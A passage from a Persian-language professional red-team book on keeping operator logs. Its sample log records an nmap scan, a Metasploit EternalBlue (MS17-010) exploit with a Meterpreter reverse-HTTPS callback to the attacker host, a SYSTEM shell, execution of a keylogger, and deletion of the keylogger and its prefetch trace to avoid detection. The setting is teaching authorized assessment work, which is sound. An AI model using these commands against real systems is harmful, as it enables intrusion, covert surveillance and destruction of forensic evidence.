در اینجا، ارزیاب مشاهده می‌کند که اتصالات مربوط به ابزار دسترسی از راه دور از طریق پورت ۴۴۳ با سیستم حمله ارتباط برقرار می‌کنند. هنگام استفاده از این فرمان‌ها در پوسته‌ای که به صورت محلی روی سیستم ایجاد شده، باید دقت داشت که فرمان‌هایی مثل **tasklist** و **netstat** معمولاً توسط بدافزارها دستکاری یا جایگزین می‌شوند تا وقتی توسط کاربران اجرا می‌شوند، از خروجی پنهان شوند. بنابراین، نبود موارد مشکوک در این فرمان‌ها تضمینی بر آلوده نبودن سیستم به بدافزارهای غیرمتعلق به تیم قرمز نیست.

دستکاری سیستم

وقتی آگاهی وضعیتی درباره سیستم راه دور به دست آمد، ممکن است ارزیاب با انجام کارهایی برای دستکاری هدف، به فعالیت‌های شبیه سازی حمله ادامه دهد. یک نمونه رایج و لازم از چنین فعالیت‌هایی، ارتقای سطح دسترسی است. ممکن است یک اکسپلویت مورد استفاده برای یک سیستم ویندوزی منجر به نتیجه در یک زمینه سیستم خاص[۸] نشود مثل **MS17-010**. یا ممکن است به دنبال اجرای فایل **exe**. خودمان باشیم که شاید یک کی لاگر باشد. برای مثال فرض کنید کی لاگر را به صورت فایل **nastyknife.exe** در پوشه **C:\windows\system32** قرار

[۸] یک نوع مدل سازی از سیستم که مرزهای بین سیستم نرم‌افزاری و محیط آن را به صورت صریح مشخص می‌کند

داده باشیم. اول باید مطمئن شویم که این کی‌لاگر با موفقیت به سیستم هدف منتقل شده و سپس آن را اجرا می‌کنیم:

```
C:\windows\system32\nastyknife.exe 12:26  PM 8/19/2018 on 192.168.97.128 dir
8/19/2018  12:25 PM            27 ,648 nastyknife.exe
               1 File(s)       27 ,648 bytes
12:27  PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe
```

پس از تکمیل اجرای ابزار می‌توانیم با انجام یکسری پاکسازی، کار ادمین‌ها را برای پیدا کردن خودمان سخت‌تر کنیم. این یکی از روش‌های رایج دستکاری فایل در سیستم‌های هدف است که امکان مخفی ماندن تیم قرمز را فراهم می‌کند.

```
12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe
12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe
File Not Found
```

ممکن است ما به عنوان مهاجم نیاز به پاکسازی آثار ایجاد شده توسط سیستم داشته باشیم که نشان دهنده اجرای یک ابزار روی سیستم هستند و سپس خود ابزار را پاک کنیم. یک نمونه از این آثار پوشه **prefetch** ویندوز است که نرم‌افزارهای اخیر را پیگیری می‌کند. خروجی زیر این نکته را مشخص می‌کند:

```
12:45  PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch
08/19/2018 12:07 PM            14 ,645 NASTYKNIFE.pf
```

قطعاً باید این ارجاع به ابزار خودمان را پاکسازی کنیم:

```
12:47  PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf
12:48  PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf
File Not Found
```

رهاسازی هدف

حالا که پاکسازی‌های لازم را پس از حضور خودمان انجام دادیم، باید یک ورودی دیگر را در یادداشت‌های عملیاتی درج کنیم که این ورودی مربوط به زمان تکمیل فعالیت ما در هدف است.

```
12:51  PM 8/19/2018 off target
```

نمونه‌هایی از یادداشت‌های عملیاتی

در ادامه، یادداشت‌های عملیاتی گردآوری شده در این فصل را مرور می‌کنیم. بدیهی است که هر ارزیاب می‌تواند بخش‌های متفاوتی از خروجی‌های مختلف را به یادداشت‌ها اضافه کند. برای فرمان‌هایی مثل netstat و tasklist که خروجی‌های طولانی دارند، ممکن است مسئول ارزیابی یک برچسب زمانی برای مشخص کردن زمان اجرای فرمان در نظر بگیرد به همراه توضیحاتی در رابطه با یافته‌های غیرعادی. بعلاوه، ممکن است ارزیاب‌ها به اطلاعاتی اشاره کنند که به فعالیت‌های خودشان ارتباط دارند مثل cmd.exe که ارزیاب اجرا کرده و رکورد netstat برای ارتباطات ابزار دسترسی از راه دور.

11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443 192.168.97.0/24

11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128

Aggressive OS guesses: Microsoft Windows 10 1703 (92%)

12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-010 -v 192.168.97.128

smb-vuln-ms17-010:

VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010).

12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) > exploit against 192.168.97.128 on TCP port 445 with the following payload option: (windows/x64/meterpreter/reverse_https) and a locally listening port of 443

[+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687)

12:15 PM 8/19/2018 on 192.168.97.128 meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo

meterpreter > sysinfo

Computer : DOVREGUBBEN

OS : Windows 10

Architecture : x64

System Language : en_US

Domain : TROLLHOME

Logged On Users : 2

Meterpreter : x64/windows

12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell

Process 1775 created.

12:18 PM 8/19/2018 on 192.168.97.128 query user

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

>Administrator console 1 Active none 8/19/2018 12:05 PM

12:20 PM 8/19/2018 on 192.168.97.128 time

The current time is: 12:20:22.12

12:23 PM 8/19/2018 on 192.168.97.128 tasklist

آسیب‌پذیر: (حدس تهاجمی سیستم‌عامل: مایکروسافت ویندوز ۱۰ ۱۷۰۳ (۹۲ درصد))، اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010)، وضعیت: آسیب‌پذیر، ضریب ریسک: بالا، یک آسیب‌پذیری اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010) وجود دارد.

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Services	0	8 K
System	4	Services	0	140 K
Registry	88	Services	0	8,692 K
smss.exe	328	Services	0	992 K
csrss.exe	444	Services	0	4,644 K

csrss.exe	520	Console	1	4,540 K
wininit.exe	540	Services	0	5,884 K
winlogon.exe	584	Console	1	9,380 K
services.exe	656	Services	0	8,472 K
lsass.exe	672	Services	0	14,968 K
svchost.exe	792	Services	0	3,556 K
cmd.exe	1775	Services	0	27,376 K
dwm.exe	516	Console	1	88,240 K
tasklist.exe	3688	Console	1	7,476

12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano

اتصالات فعال

Proto	Local Address	Foreign Address	State	PID
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	980
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:1536	0.0.0.0:0	LISTENING	540
TCP	0.0.0.0:1537	0.0.0.0:0	LISTENING	1332
TCP	0.0.0.0:1538	0.0.0.0:0	LISTENING	1400
TCP	0.0.0.0:1539	0.0.0.0:0	LISTENING	672
TCP	0.0.0.0:1540	0.0.0.0:0	LISTENING	2660
TCP	0.0.0.0:1541	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:1640	0.0.0.0:0	LISTENING	8428
TCP	0.0.0.0:5040	0.0.0.0:0	LISTENING	5480
TCP	169.254.105.111:139	0.0.0.0:0	LISTENING	4
TCP	192.168.97.128:139	0.0.0.0:0	LISTENING	4
TCP	192.168.97.128:1719	192.168.96.4:443	ESTABLISHED	3160

12:26 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe

8/19/2018 12:25 PM 27,648 nastyknife.exe

1 File(s) 27,648 bytes

12:27 PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe

12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe

12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe

File Not Found

12:45 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch

08/19/2018 12:27 PM 14,645 NASTYKNIFE.pf

12:47 PM 8/19/2018 on 192.168.97.128 del C:\windows\prefetch\nastyknife.pf

12:48 PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch\nastyknife.pf

File Not Found

12:51 PM 8/19/2018 off target

خلاصه فصل ششم

در پایان این فصل باید با آنچه پس از سرشماری و حمله به هدف برای اجرای یک تعامل حرفه‌ای تیم قرمز لازم است، آشنا شده باشید. ما در این فصل به خصوصیات یک تیم قرمز حرفه‌ای مثل رعایت روال مطلوب و استفاده از شگردهای خوب اشاره کرده و توضیح دادیم که این خصوصیات چطور می‌توانند امکان هک حرفه‌ای را فراهم کنند.

• تیم قرمز حرفه‌ای • مهدی لقایی • سهیل هاشمی

این کتاب به عنوان یک منبع برای افرادی نوشته شده که قصد اجرای مانورهای حرفه‌ای تیم قرمز را دارند؛ همچنین افرادی که از خدمات آنها استفاده می‌کنند. قرار نیست متن این کتاب هک کامپیوتر یا سازمان‌ها را به شما آموزش دهد بلکه به شما آموزش می‌دهد که چطور این کار را به روشی بهتر و طوری که منجر به ارتقای امنیت سازمان شود انجام دهید. این کار مستلزم کسب مهارت‌هایی فراتر از مهارت‌های شیرین هک برای اجرای ارزیابی های امنیتی تهاجمی است. چه به دنبال استخدام هکرهای اخلاقی باشید و چه به دنبال همکاری با آنها و چه خودتان یک هکر اخلاقی باشید، پس از مطالعه این کتاب باید درک بهتری از مهارت‌های لازم برای استفاده از شبیه‌سازی تهدیدات سایبری جهت کاهش ریسک پیدا کنید.